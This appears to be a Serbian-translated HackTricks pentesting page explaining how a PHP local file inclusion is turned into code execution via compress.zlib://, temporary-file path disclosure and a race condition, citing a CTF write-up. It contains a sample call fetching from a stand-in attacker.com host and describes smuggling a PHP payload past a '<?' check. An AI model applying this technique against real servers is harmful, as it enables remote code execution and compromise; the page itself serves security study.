hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

64 lines
4.1 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 13:11:20 +00:00
## `compress.zlib://` i `PHP_STREAM_PREFER_STDIO`
2022-04-21 00:07:27 +00:00
2024-02-10 13:11:20 +00:00
Fajl otvoren koristeći protokol `compress.zlib://` sa zastavicom `PHP_STREAM_PREFER_STDIO` može nastaviti sa pisanjem podataka koji stižu kasnije na isti fajl.
2022-04-21 00:07:27 +00:00
2024-02-10 13:11:20 +00:00
Ovo znači da poziv kao što je:
2022-04-21 00:07:27 +00:00
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
2024-02-10 13:11:20 +00:00
Poslaćemo zahtev za http://attacker.com/file, a zatim server može odgovoriti na zahtev sa validnim HTTP odgovorom, zadržati otvorenu vezu i kasnije poslati dodatne podatke koji će takođe biti upisani u datoteku.
2022-04-21 00:07:27 +00:00
2024-02-10 13:11:20 +00:00
Možete videti tu informaciju u delu koda php-src u main/streams/cast.c:
2022-04-21 00:07:27 +00:00
```c
/* Use a tmpfile and copy the old streams contents into it */
2024-02-10 13:11:20 +00:00
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
2022-04-21 00:07:27 +00:00
```
2024-02-10 13:11:20 +00:00
## Trkačka uslov za RCE
2022-04-21 00:07:27 +00:00
2024-02-10 13:11:20 +00:00
[**Ovaj CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) je rešen koristeći prethodnu prevaru.
2022-04-21 00:07:27 +00:00
2024-02-10 13:11:20 +00:00
Napadač će naterati **žrtveni server da otvori vezu i čita fajl sa servera napadača** koristeći protokol **`compress.zlib`**.
2022-04-21 00:07:27 +00:00
2024-02-10 13:11:20 +00:00
**Dok** ova **veza** postoji, napadač će **izvući putanju** do privremenog fajla koji je kreiran (koju je otkrio server).
2022-04-21 00:07:27 +00:00
2024-02-10 13:11:20 +00:00
**Dok** je **veza** još uvek otvorena, napadač će **iskoristiti LFI učitavajući privremeni fajl** koji kontroliše.
2022-04-21 00:07:27 +00:00
2024-02-10 13:11:20 +00:00
Međutim, postoji provera na veb serveru koja **sprečava učitavanje fajlova koji sadrže `<?`**. Zbog toga će napadač iskoristiti **trkačku uslov**. U vezi koja je još uvek otvorena, **napadač** će **poslati PHP payload NAKON** što je **veb server** proverio da li fajl sadrži zabranjene karaktere, ali **PRE nego što učita njegov sadržaj**.
2022-04-21 00:07:27 +00:00
2024-02-10 13:11:20 +00:00
Za više informacija pogledajte opis trkačke uslova i CTF na [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>